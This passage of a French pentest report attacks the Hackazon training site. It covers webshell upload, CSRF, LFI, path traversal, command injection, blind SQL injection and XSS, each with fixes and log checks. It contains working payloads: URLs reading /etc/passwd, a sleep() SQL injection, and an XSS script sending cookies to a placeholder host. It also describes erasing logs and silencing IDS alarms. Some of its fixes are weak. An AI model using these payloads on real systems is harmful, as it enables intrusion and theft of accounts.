Il correspond la couche la plus externe de ce dernier. Linterface systme est utilise comme diminutif de linterface utilisateur
du systme dexploitation. (Source : Wikipdia)

17

Chapitre 5

Phase 5 : Effacement des traces


Une fois que les accs ont t obtenus et que le hacker a install sa ou ses backdoors, il est important pour ce dernier deffacer ses traces.
En effet, cela va lui permettre de dissimuler son intrusion, et de cacher ces actions dans le but de rendre
beaucoup plus complexes lanalyse forensique 1 . Ainsi, la dcouverte de la vulnrabilit et de linstallation de backdoors sera plus difficile dtecter et supprimer. Cela lui permettra de garder le contrle
sur la machine plus longtemps.
Pour cela, le hacker va effacer les logs lis son activit (pas tous les logs, car cela attirerait lattention), supprimer et / ou bloquer les alarmes des IDS 2 .
Cela permet aussi au hacker de limiter les informations permettant de remonter jusqu lui, ou de
facilit des poursuites judiciaires.
Cette partie va surtout tre utilise par des hackers malhonntes, ou lors daudit Red Team 3 afin de
tester les capacits de dtection et de rponse un incident du service informatique face une attaque
relle.

1. Lanalyse forensique en informatique signifie lanalyse dun systme informatique aprs incident. Par exemple une analyse
forensique peut tre effectue aprs une attaque de virus, ou plus difficilement, aprs lintrusion dun rootkit. (Source : Wikpdia)
2. Systme de Dtection dIntrusions
3. Laudit Red Team privilgie une valuation raliste de la robustesse dune organisation dans son ensemble et face des
attaquants dtermins. Elle consiste crer une quipe dattaquant, dans le plus grand secret, et de lui faire attaquer lorganisation
afin dvaluer la capacit de lorganisation, notamment du service informatique, dtecter lattaque et se dfendre en temps rel.

18

Quatrime partie

Recueil des 7 catgories de failles

19

Chapitre 6

"Upload"
6.1

Prsentation

La faille Upload permet un attaquant duploader un fichier malicieux sur le serveur pour obtenir un
accs, excuter des commandes, ou en prendre le contrle.
Dans notre cas, il est aussi possible de saturer le disque dur en crant, via un script, de multiples
comptes, uploadant chacun un fichier de grande taille en tant quavatar.
On retrouve cette faille au niveau des formulaires dupload de fichiers, avec les balises <form> et
<input type=file>.

6.2

Dcouverte

La faille a t dcouverte manuellement. Lupload de fichier est souvent un point sensible sur les
sites Web. Cest donc tout naturellement que jai test la robustesse dHackazon sur ce point.

6.3

Exploitation

La premire chose faire est de se crer un compte sur le site. Ensuite, on se rend sur la page
ddition du profil afin de choisir une photo de profil (un avatar). Le formulaire nous permet duploader
un fichier, une image est logiquement attendue. Cependant, il ny a pas de vrification concernant lextension du fichier upload. De ce fait, il est trs simple duploader un fichier PHP qui va tre excut par
le serveur. Ainsi, nous pouvons uploader un webshell 1 . Le webshell ainsi upload est accessible en se
rendant sur lURL pointant sur le fichier, disponible en regardant les sources.

6.4

Scurisation

Dsactiver linterprtation de PHP dans le dossier qui stocke les images uploades sur le profil de
lutilisateur. Ainsi, uploader un shellcode naura pas dincidence, ne pouvant tre interprt. Voici un
exemple pour un serveur Apache, rajouter dans le dossier /etc/apache2/sites-available/ dans le fichier
relatif au site web :
1
2
3
4
5
6
7
8
9

## Correction Faille Upload interpretation php


<Directory /var/www/hackazon/web/user_pictures/>
# Show .php file as plaintext file
AddType text/plain .php
# Disable mod_php
# Directive la plus importante puisquelle desactive
# l interpretation du PHP
php_admin_flag engine off
</Directory>

Listing 6.1 Configuration Apache pour empcher linterprtation des fichiers PHP dans un rpertoire
spcifique
1. Un webshell est un script crit en langage web permettant lexcution de commandes shell

20

Tests dintrusion

Cot client, il est extrmement compliqu de parfaitement bloquer lupload arbitraire / non dsir de
fichiers.
Il est cependant possible de complexifier le procd pour un attaquant. Plusieurs procds peuvent tre
mis en place :
On peut vrifier lextension du fichier upload lors de lupload, et refuser tous fichiers nayant pas lextension jpeg, jpg, png, bmp, etc... Cette technique peut tre bypass en ajoutant deux extensions au fichier
(fichier.php.jpeg), mais le site Hackazon sen protge en renommant le point de la premire extension
avec un underscore (fichier_php.jpeg).
Il est utile dinterdire les fichiers non attendus en utilisant une whitelist contenant les extensions attendues.
1
2
3
4
5
6
7
8
9
10
11

<?php
// On cree un tableau specifiant les extensions attendues
$tab_extensions = array( .png, . gif , .jpg , .jpeg , .bmp);
// On recupere lextension
$extension = strrchr ($_FILES[image][name], . ) ;
if (! in_array($extension, $extensions)) // Si l extension nest pas dans le tableau
{
$erreur = Vous devez uploader un fichier de type png, gif , jpg, jpeg ou bmp.;
}
?>

Listing 6.2 Utilisation dune whitelist


Pour viter de recevoir des fichiers dune taille trop importante, qui pourrait, terme, surcharger le
disque dur, nous pouvons utiliser les arguments suivants dans notre formulaire :
1 <form method="POST" action="upload.php" enctype="multipart/formdata">
2
<! On limite le fichier a 1Mo soit 1024 1024 1 Bytes >
3
<input type="hidden" name="MAX_FILE_SIZE" value="1048576">
4
Fichier : <input type=" file " name="avatar">
5
<input type="submit" name="envoyer" value="Uploader">
6 </form>

Listing 6.3 Code PHP pour limiter la taille du fichier upload


La taille est spcifie en octet.
Cependant, la taille du fichier peut tre modifier par un attaquant. Il est possible de rcuprer le code
de la page et de modifier la variable MAX_FILE_SIZE. De plus, on ne peut faire confiance au tableau
global de la variable $_FILES qui peut tre trafiqu.
On peut donc utiliser le code suivant :
1
2
3
4
5
6
7
8
9

<?php
// Taille max en octets
$taille_max = 1048576;
// On recupere la taille du fichier
$taille = filesize ($_FILES[avatar][ tmp_name]);
if ( $taille >$taille_max) {
$erreur = Le fichier est trop gros ... ;
}
?>

Listing 6.4 Code PHP pour vrifier la taille du fichier upload


Pour plus de scurit, cot serveur, on peut analyser les headers des fichiers uploads pour vrifier
quils correspondent bien aux extensions envoyes.
Le nom du fichier peut aussi poser des problmes, notamment sil contient des accents, des caractres spciaux, des espaces, etc...
Il est donc important de formater le nom du fichier avant de lenregistrer sur le serveur.

Thibault MILLANT

21

Juillet 2016

Tests dintrusion

Voici un exemple de code :


1
2
3
4
5
6
7
8
9
10
11

<?php
$fichier = strtr ( $fichier ,

AAAAAACEEEEIIIIOOOOOUUUUYaaaaaaceeeeiiiiooooouuuuyy);
// On recupere le nom formate dans la variable $fichier
// En dessous, il y a l expression reguliere qui remplace
// tout ce qui nest pas une lettre non accentuees ou un chiffre
// dans $fichier par un tiret "" et qui place le resultat dans $fichier .
$fichier = preg_replace( /([^. az09]+)/i, , $fichier ) ;
?>

Listing 6.5 Code PHP pour vrifier la taille du fichier upload

6.5

Surveillance

Les logs de cette attaque sont visibles dans /var/log/apache2/other_vhosts_access.log

Figure 6.1 Log faille Upload

Thibault MILLANT

22

Juillet 2016

Chapitre 7

CSRF : Cross-Site Request Forgery


7.1

Prsentation
Le nom CSRF vient de Cross-Site Request Forgery qui, si lon essaie de donner une dfinition en franais, signifie Falsification de requte inter-sites. On nest pas [beaucoup] plus
avanc, je sais.
En fait, il sagit deffectuer une action visant un site ou une page prcise en utilisant lutilisateur comme dclencheur, sans quil en ait conscience.
On va deviner un lien quun utilisateur obtient habituellement, et tout simplement faire en
sorte quil clique lui-mme sur ce lien.
(Source : Le blog du hacker)

Figure 7.1 Schma explicatif (Source : Le blog du hacker)

23

Tests dintrusion

7.1.1

Fonctionnement

En reprenant lhistoire ci-dessus, on peut imaginer que sur un blog donn, le lien de suppression dun article soit le suivant :
http://www.monblog.fr/del.php?id=1
Ici, id=1 signifie quon souhaite supprimer larticle dont lidentifiant est 1, typiquement il
sagit du premier article.
Si maintenant un visiteur non connect la page dadministration clique sur un tel lien, il
aura un message du type :
Vous navez pas les droits pour supprimer cet article, veuillez vous connecter et ressayer.
Normal, un visiteur quelconque na pas le droit dditer ou supprimer les articles dun blog
qui ne lui appartient pas.
Mais si maintenant le visiteur quelconque connat ce lien, il lui suffit denvoyer le lien
ladministrateur en faisant en sorte que ce dernier clique.
Que se passe-t-il une fois que ladministrateur clique ?
Le lien de suppression sexcute avec succs car ladministrateur est bien connect et
son article se retrouve ainsi supprim.
(Source : Le blog du hacker)

7.2

Dcouverte

La faille a t dcouverte lors dun scan du site Web, effectu par Arachni.
Ce scanner a test de nombreuses dformations de lURL pour provoquer des comportements anormaux (diffrents types de failles : Path Traversal, File Inclusion, OS Command Injection, etc.).

7.3

Exploitation

Arachni, dans son rapport, explique quil est possible de trouver une faille de type CSRF au niveau
de la partie wishlist dHackazon (http://hackazon.lc/wishlist/).
Cependant, je ne suis pas parvenu exploiter la vulnrabilit. Il est possible que cette alerte soit un
faux positif.
Cette partie du site utilise un systme de tokens, gnralement utilis pour se protger de cette faille,
comme dtaill dans la partie suivante.

7.4

Correctif

Une premire mesure est de vrifier si le header dorigine est prsent et sil correspond celui du
site dorigine.
Il est ensuite possible de vrifier que le referer correspond bien au site dorigine.

Thibault MILLANT

24

Juillet 2016

Tests dintrusion

Des dfenses plus spcifiques existent :

7.4.1

Cration de tokens synchroniss

chaque chargement de page, on gnre un token alatoire. Ce token est unique pour chaque utilisateur, sa valeur alatoire est de taille importante, et gnr avec un gnrateur de nombre alatoire
cryptographique.
Ce token est ajout un champ cach dun formulaire, ou pass par lURL si le chargement dune
page se fait avec la mthode GET.
Le serveur rejette la requte si la validation du token choue.
Pour PHP et Apache, on peut utiliser CSRFProtector Project.

7.4.2

Systme de dfense double cookies

Si stock le token dans une session est problmatique, il est possible denvoyer un nombre alatoire
via un cookie et via un paramtre de la requte afin que le serveur puisse vrifier la validit de la requte
si les deux informations correspondent.

7.4.3

Encrypted Token Pattern

Aprs une authentification russie, le serveur gnre un token unique avec lidentifiant de lutilisateur,
un timestamp, et un sel (nonce), en utilisant une cl unique prsente seulement sur le serveur. Ce token
est envoy au client et embarqu dans un champ cach.
A chaque requte, le serveur lit et dchiffre le token avec la cl utilise pour le gnrer.
Une fois dchiffr, lidentifiant de lutilisateur est compar avec lutilisateur actuellement connect, et le
timestamp avec le temps actuel.

7.4.4

Header customis

Il est possible de modifier le header en ajoutant : X-Requested-With : XMLHttpRequest.


On parle de SOP pour Same-Origin Policy.

Thibault MILLANT

25

Juillet 2016

Chapitre 8

LFI : Local File Inclusion


8.1

Prsentation
La faille LFI tient son nom de Local File Inclusion (Inclusion de fichier local). Elle permet
un utilisateur dinclure des fichiers locaux (prsent sur le serveur cible) partir dune URL.
Ces fichiers peuvent trs bien tre en dehors du rpertoire racine du site web. Des fichiers sensibles comme ceux contenant des donnes personnelles et notamment des mots
de passe peuvent donc tre inclus et rcuprs.
On a souvent besoin dinclure un fichier dans une page de faon tout fait lgitime
comme sur lexemple qui suit :
http ://exemple.com/vulnerable.php ?page=menu.php
Seulement le fait de vrifier si ce fichier existe ne suffit pas, il faut sassurer quil soit celui
que lon veut.
Notez que cette faille permet galement dexcuter du code PHP sur le serveur distant.
(Source : Le Blog du Hacker)

8.2

Dcouverte

La faille a t dcouverte lors dun scan du site Web, effectu par Arachni.
Ce scanner a test de nombreuses dformations de lURL pour provoquer des comportements anormaux (diffrents types de failles : Path Traversal, File Inclusion, OS Command Injection, etc.).

8.3

Exploitation

Habituellement cette faille peut permettre de rcuprer des informations comme les noms des utilisateurs de votre serveur et leurs mot de passe :
http ://hackazon.lc/account/help_articles.php ?page=/etc/passwd%00
On indique le fichier que lon souhaite afficher. Le %00 de fin correspond au caractre nulle, indiquant la fin de la chane.

26

Tests dintrusion

Figure 8.1 Rsultat LFI

On peut galement rcuprer le code source dune page PHP ou excuter des commandes PHP
distance en les postant vers une url spcifique.
Dans le pire des cas, un shell PHP peut tre install sur votre serveur afin dautoriser un utilisateur
excuter des commandes distance.
On a accs dautres fichiers de configuration, comme les fichiers SSH. Trs utile pour connatre
les utilisateurs autoriss se connecter.
Il existe aussi les RFI 1 consistant rediriger vers une page prsente sur un autre serveur.
La page prcdente ne semble pas faillible aux RFIs.

8.4

Correctifs

Afin de assainir notre URL, nous pouvons ajouter ces lignes dans notre fichier PHP :
1
2
3
4
5
6
7

<?php
if ( isset ($_GET[page])) {
include ( "$_GET[page]". ".php");
} else {
include ( " error .php");
}
?>

Listing 8.1 Correction de la faille LFI par concatnation


Dans ce cas, on passe en paramtre GET le nom de la page sans son extension, et on ajoute lextension
lors du traitement.
Pour accder la page delivery.php, on passe en paramtre "delivery", et notre script PHP soccupe de
forcer lextension, et dappeler "delivery.php".
Cependant, ce correctif peut tre passer en utilisant le caractre NULL en hexadcimal : %00, qui
va terminer les chanes et ne pas tenir compte de la suite, donc du rajout de lextension PHP.

1. Remote File Inclusion

Thibault MILLANT

27

Juillet 2016

Tests dintrusion

Une autre technique est donc de tester le nom pass en paramtre, et dafficher la page en fonction :
1
2
3
4
5
6
7

<?php
if ($_GET[page] == "delivery") {
include ( " delivery .php");
} else {
include ( " error .php");
}
?>

Listing 8.2 Correction de la faille LFI


Si lutilisateur essaye de modifier de paramtre GET de lURL, il tombera sur une page derreur.
Nous pouvons aussi avoir recours diffrentes fonctions PHP pour scuriser nos entres utilisateurs,
comme :
stripslashes ($str) ; : Supprime les antislashs,
basename ($path) ; : Retourne le nom de la composante finale du chemin,
realpath ($path) ; : Retourne le chemin absolue.
Cependant, la technique la plus sre reste de ne pas faire confiance lutilisateur et de rajouter
lextension la fin du fichier.

8.5

Surveillance

Les logs de cette attaque sont visible dans /var/log/apache2/other_vhosts_access.log.


On peut aussi voir les erreurs, lors de tentatives, dans /var/log/apache2/error.log.

Figure 8.2 Log faille LFI, other vhosts access.log

Thibault MILLANT

28

Juillet 2016

Tests dintrusion

Figure 8.3 Log faille LFI, error.log

Thibault MILLANT

29

Juillet 2016

Chapitre 9

Path Traversal
9.1

Prsentation
A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference
files with dot-dot-slash (../) sequences and its variations or by using absolute file paths, it
may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to
files is limited by system operational access control (such as in the case of locked or in-use
files on the Microsoft Windows operating system).
This attack is also known as dot-dot-slash, directory traversal, directory climbing and
backtracking.
Une attaque de type Path Traversal (galement connu sous le nom directory traversal)
vise accder des fichiers et des rpertoires qui sont stocks en dehors de la racine du
dossier web. En manipulant les variables qui font rfrence des fichiers avec "dot-dot-slash
(../)" et ses variations ou en utilisant des chemins absolus, il peut tre possible daccder
des fichiers et des rpertoires arbitraires stocks sur le systme de fichiers, y compris le code
source de lapplication, des fichiers de configuration et les fichiers critiques du systme. Il
convient de noter que laccs aux fichiers est limite par le systme de contrle daccs oprationnel (comme dans le cas des fichiers verrouills ou en cours dutilisation sur le systme
dexploitation Microsoft Windows).
Cette attaque est galement connu comme "point-point-slash", "directory traversal", "rpertoire escalade" et "retour en arrire".
(Source : OWASP)

9.2

Dcouverte

La faille a t dcouverte lors dun scan du site Web, effectu par Arachni.
Ce scanner a test de nombreuses dformations de lURL pour provoquer des comportements anormaux (diffrents types de failles : Path Traversal, File Inclusion, OS Command Injection, etc.).

9.3

Exploitation

Tout comme la faille prcdente (LFI), nous pouvons rcuprer des informations sur les fichiers prsents sur les serveurs. Nous pouvons accder au code source de certaines pages, afficher des fichiers
de configuration (fichiers SSH par exemple), ou voir le contenu des fichiers de mots de passe.
http://hackazon.lc/account/documents?page=/../../../../../../../etc/passwd ou
http://hackazon.lc/account/documents?page=file:///../../../../../../../etc/passwd

30

Tests dintrusion

Nous cherchons remonter le plus haut possible, dans larchitecture, jusqu la racine, puis nous
indiquons le chemin vers le fichier afficher.
Avec lURL prcdente, pour obtenons :

Figure 9.1 Rsultat Path Traversal

9.4

Correctif

Un moyen de sen prmunir peut consister utiliser la fonction PHP str_replace :


1

<?php str_replace( ../ , , $_GET[fichier ]) ;?>

Listing 9.1 Correction de la faille Path Traversal


Cette fonction va supprimer les "../" du paramtre reu en GET.
Nous pouvons utiliser une boucle, au besoin, pour itrer la suppression.
Cela a pour but de assainir lURL. Si la page continue afficher des informations non dsires aprs
assainissement, il est possible que votre page soit faillible aux RFIs. Dans ce cas je vous recommande
de suivre le correctif pour les RFIs.
Sachez cependant que cela ne corrige pas compltement la faille. En effet, il est possible de remplacer le "/" par sa valeur en hexadcimal : %2F.
LURL scrit ainsi :
http://hackazon.lc/account/documents?page=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Une autre technique peut tre de tester le nom pass en paramtre, et dafficher la page en fonction,
comme dans le correctif pour la faille LFI.
Beaucoup de correctifs corrigent la fois les failles LFIs et Path Traversal.

Thibault MILLANT

31

Juillet 2016

Tests dintrusion

9.5

Surveillance

Nous pouvons trouver des informations sur les Path Traversal dans un fichier de log Apache :
/var/log/apache2/other_vhosts_access.log

Figure 9.2 Log faille Path Traversal

Thibault MILLANT

32

Juillet 2016

Chapitre 10

Operating System command injection


10.1

Prsentation

Une injection de commandes systmes consiste faire excuter par le serveur des commandes
systmes, envoyes travers une application Web, afin deffectuer des actions, ou de rcuprer des
informations (fichier de comptes utilisateurs, fichier de configuration SSH, etc.).

10.2

Dcouverte

La faille a t dcouverte lors dun scan du site Web, effectu par Arachni.
Ce scanner a test de nombreuses dformations de lURL pour provoquer des comportements anormaux (diffrents types de failles : Path Traversal, File Inclusion, OS Command Injection, etc.).

10.3

Exploitation

Sur Hackazon, nous avons une page permettant de consulter des documents (deux liens sur la
page).
hackazon.lc/account/documents

Figure 10.1 Page de consultation de documents

Le nom du document sur lequel on clique est pass en GET au serveur. Il est donc ais de remplacer
le nom du document par des donnes choisies par lutilisateur.
Pour mettre en lumire cette faille, on essaye dinjecter des commandes dans lURL.
Ainsi, il est possible dafficher le contenu du fichier passwd en utilisant la commande /bin/cat /etc/passwd comme dans cet exemple :
http://hackazon.lc/account/documents?page=/bin/cat%20/etc/passwd
Cela nous affiche le contenu du fichier demand. On peut faire de mme avec le fichier de configuration SSH et rcuprer bon nombre dinformations trs utiles pour accder directement au serveur.

33

Tests dintrusion

10.4

Correction

10.4.1

Escapeshellarg

Le correctif consiste faire passer la page reue en post travers la fonction PHP escapeshellarg 1 .
Cette fonction ajoute des guillemets autour de largument reu et chappe les guillemets prsents dans
largument.

10.5

Surveillance

Nous pouvons trouver des informations sur les Path Traversal dans deux fichiers de log Apache.
Le premier nous donnera les erreurs des aux commandes excutes, et le second des infos sur les
trames :
/var/log/apache2/error.log /var/log/apache2/other_vhosts_access.log

Figure 10.2 Log faille OS Command Injection, error


1. https://secure.php.net/manual/en/function.escapeshellarg.php

Thibault MILLANT

34

Juillet 2016

Tests dintrusion

Figure 10.3 Log faille OS Command Injection, other vhosts access

10.6

Remarques

Cette faille porte sur une requte GET, mais le procd et les correctifs sont similaires pour une
requte POST.

Thibault MILLANT

35

Juillet 2016

Chapitre 11

Blind SQL Injection


11.1

Prsentation

Une injection SQL est comme son nom lindique une injection ou insertion de code SQL
via des donnes transmises depuis un site web. Une injection russie et correctement exploite permet de rcuprer des informations sensibles dune base de donnes ou encore de
modifier/supprimer/ajouter des donnes. Dune manire gnrale, toutes les actions lies
une base de donnes sont possibles. Habituellement ce type dinjection concerne PHP avec
une base SQL mais dautres langages comme ASP peuvent aussi tre concerns.
Ce type dinjection survient habituellement quand les donnes des utilisateurs sont utilises sans tre filtres ou vrifies.
Comme son nom lindique, linjection SQL laveugle consiste exploiter un site
faillible de la mme manire que celle quon a vu, cela prs que le rsultat (les messages
derreur) ne sont pas affichs sur la page.
Habituellement des outils complets sont utiliss pour automatiser tout cela. Autant vous
dire que ne pas afficher de messages derreurs est une bonne chose, mais le mieux est tout
de mme de rgler le problme la racine, on y vient.
(Source : Le Blog du Hacker)

11.2

Dcouverte

La faille a t dcouverte lors dun scan du site Web, effectu par Arachni.
Ce scanner a test de nombreuses dformations de lURL pour provoquer des comportements anormaux (diffrents types de failles : Path Traversal, File Inclusion, OS Command Injection, etc.).
Les scanners OpenVAS et Nessus ont aussi dcouvert la vulnrabilit sur la page http://hackazon.
lc/category/view.

11.3

Exploitation

Sur le site dHackazon, nous avons deux pages faillibles ce type dattaque.
La premire est la page de login : http://hackazon.lc/user/login.
La seconde est la vue dune des catgories : http://hackazon.lc/category/view.
Sur la page de login, on peut effectuer une injection SQL dans le champ Username or Email. Pour
cela on tape une commande SQL qui va tre interprt non pas comme une chane de caractre, mais
comme une commande SQL.
On joue sur la mauvaise construction et la non sanitization de largument pass dans le formulaire.
Ici, nous pouvons crire or sleep(16) # afin de mettre la base de donnes en pause pendant 16
secondes et interrompre toutes transactions.
36

Tests dintrusion

Un temps plus loin peut avoir de lourdes consquences pour un site de-commerce, bloquant tout achat,
donc le business de lentreprise.
Sur la page dune des catgories, on peut, dans lurl, injecter la mme commande SQL :
http://hackazon.lc/category/view?id=49andsleep(16)=
Ainsi, nous mettons en pause la base de donnes comme dans lexemple prcdent.
Comme expliqu, cela peut avoir des consquences trs lourdes pour le business de lentreprise,
avec dimportantes pertes dargent, un agacement des clients ce qui impact limage de lentreprise.
Une tude plus approfondie peut conduire linjection dautres commandes, ayant dautres consquences, comme peut-tre la modification de la base de donnes (modification des prix de ventes), la
rcupration dinformations clients (cartes bancaires, mots de passe), ou la destruction dinformations
(suppression des comptes utilisateurs, des produits en vente, etc).

11.4

Correctif

On peut utiliser plusieurs fonctions en PHP afin de se protger des injections SQL :
mysqli_real_escape_sting () :

chappe les caractres spciaux dans les chanes de caractres.

addslashes () :
Retourne une chane de caractre avec les guillemets simples et doubles, les
backslashs et les caractres NULL, chapp avec des backslashes.
magic_quotes_gpc () :

chappe les caractres spciaux. Sactive dans la configuration du PHP.

requtes prpares : Une sorte de modle compil pour le SQL que vous voulez excuter, qui
peut tre personnalis en utilisant des variables en guise de paramtres.
procdures stockes : 5 Ensemble dinstructions SQL prcompiles, stockes dans une base de
donnes et excutes sur demande par le SGBD qui manipule la base de donnes.
Il est aussi recommand dutiliser des comptes utilisateurs accs limit pour empcher la modification ou la suppression dlments en base de donnes.

1.
2.
3.
4.
5.

https ://secure.php.net/manual/en/mysqli.real-escape-string.php
https ://secure.php.net/manual/en/function.addslashes.php
http ://aaroncameron.net/article.html ?aID=59
https ://secure.php.net/manual/fr/pdo.prepared-statements.php
https ://fr.wikipedia.org/wiki/Proc%C3%A9dure_stock%C3%A9e

Thibault MILLANT

37

Juillet 2016

Tests dintrusion

11.5

Surveillance

Nous pouvons trouver des informations sur les injections SQL dans un fichier de log Apache :
/var/log/apache2/other_vhosts_access.log

Figure 11.1 Log faille injection SQL

Thibault MILLANT

38

Juillet 2016

Chapitre 12

XSS : Cross-Site Scripting


12.1

Prsentation

XSS vient de Cross-Site Scripting et comme lacronyme CSS tait dj pris pour Cascading Style Sheets, on a utilis un X pour cross (croix en anglais).
La faille consiste injecter un script arbitraire dans une page pour provoquer une action
bien dfinie. Les autres utilisateurs excutent le script sans sen rendre compte ds louverture de la page.
Cross veut galement dire traverser, car lun des buts de la faille est dexcuter un script
permettant de transmettre des donnes depuis un site vers un autre.
Ce problme se situe principalement au niveau des cookies, car on peut par exemple
rcuprer les cookies dun site A depuis un site B. On peut ainsi rcuprer les cookies de
nimporte qui, mme de ladministrateur dun site.
Notez par ailleurs quon peut exploiter la faille XSS en JavaScript mais aussi avec dautres
langages.
On distingue deux types de failles XSS :
- XSS permanent
Cest lorsque le script est stock sur le serveur externe (base de donnes). Il est donc rcupr et excut tous moments sur le site par nimporte quel utilisateur.
- XSS non permanent (non persistant)
Le script est souvent intgr une URL et est excut sans tre stock sur un serveur.
On peut distinguer plusieurs possibilits non exhaustives dexploitation de cette faille :
- Une redirection de la page afin de nuire aux utilisateurs ou pour tenter une attaque de phishing.
- Voler des sessions ou des cookies. (Donc se faire passer pour un autre utilisateur pour
excuter des actions)
- Rendre le site inaccessible en utilisant des alertes en boucle ou tout autre moyen nuisible.
(Source : Le Blog du Hacker)

12.2

Dcouverte

La faille a t dcouverte lors dun scan du site Web, effectu par Arachni.
Ce scanner a test de nombreuses dformations de lURL pour provoquer des comportements anormaux (diffrents types de failles : Path Traversal, File Inclusion, OS Command Injection, etc.).
Cependant, il ny avait pas dinformations donnes sur lexploitation.

39

Tests dintrusion

Le scanner Nessus a lui aussi trouv la vulnrabilit sur la page http://hackazon.lc/search.

12.3

Exploitation

Cette vulnrabilit permet dinjecter directement du code Javascript, ou de charger un fichier Javascript ou PHP depuis un serveur distant.
On remarque, grce aux diffrents rapports, que le champ de recherche peut tre vulnrable aux
injections XSS.
Nous pouvons injecter du code dans le champ de recherche (par exemple : <script>window.open("http ://monUrl/script.php ?param="+document.cookie)</script>) ou dans lUrl directement comme ici : http://
hackazon.lc/search?id=&searchString=<script>window.open("http://monUrl/script.php?param=
"+document.cookie)</script>.
Ici, nous sommes confronts une faille XSS non persistante. Elle nest pas stocke, et ne peut
donc tre recharge pour chaque utilisateur qui consulterait la page.
Cependant, elle reste utile, coupl du Social Engineering, en poussant un utilisateur cliquer sur
ce lien, via un forum, un email, etc...
Cela permettra de rcuprer un cookie, ou dautres informations, pour usurper lidentit de lutilisateur.

12.4

Correctif

Pour se protger de lexploit, on peut utiliser plusieurs fonctions PHP permettant deffacer les caractres spciaux utiliss par lattaquant lors de son injection XSS.
htmlentities : Permet dchapper les guillemets simples et doubles.
htmlspecialchars : Convertit les guillemets doubles et simples, lampersand (&), et les symboles
suprieur et infrieur .
Il est aussi recommand de dutiliser le paramtre HttpOnly dans la cration des cookies afin dempcher la rcupration de ces derniers en utilisant du Javascript. De ce fait, le cookie nest accessible
que depuis le protocole HTTP.
Attention cependant, cette configuration nest pas forcment supporte par tous les navigateurs.

12.5

Surveillance

Nous pouvons trouver des informations sur les XSS dans un fichier de log Apache :
/var/log/apache2/other_vhosts_access.log

Figure 12.1 Log faille XSS

Thibault MILLANT

40

Juillet 2016

Cinquime partie

Conclusion

41

Tests dintrusion

Vous avez srement dj entendu parler des failles prsentes dans ce document, elles sont connues
et exploites depuis plusieurs annes.
Malgr cela, elles restent trs prsentes sur le Web, comme le montre le top 10 de lOWASP.
Dans leur dernire version du document, datant de 2013, linjection (SQL, OS, LDAP, etc.) est la faille
que lon retrouve le plus.
Le XSS arrive en 3e position.
La CSRF se trouve en 8eposition.
Il est important de continuer sensibiliser les dveloppeurs et les usagers dInternet, aux bonnes
pratiques de scurit, afin de limiter les dgts gnrs par ces diffrentes vulnrabilits.
Dans ce livre, jai donc tent de reprendre certaines vulnrabilits en les dtaillant au maximum, en
utilisant le cas concret de la plateforme Hackazon, afin de faciliter la comprhension de leur fonctionnement et de leur exploitation.

Thibault MILLANT

42

Juillet 2016

Vous aimerez peut-être aussi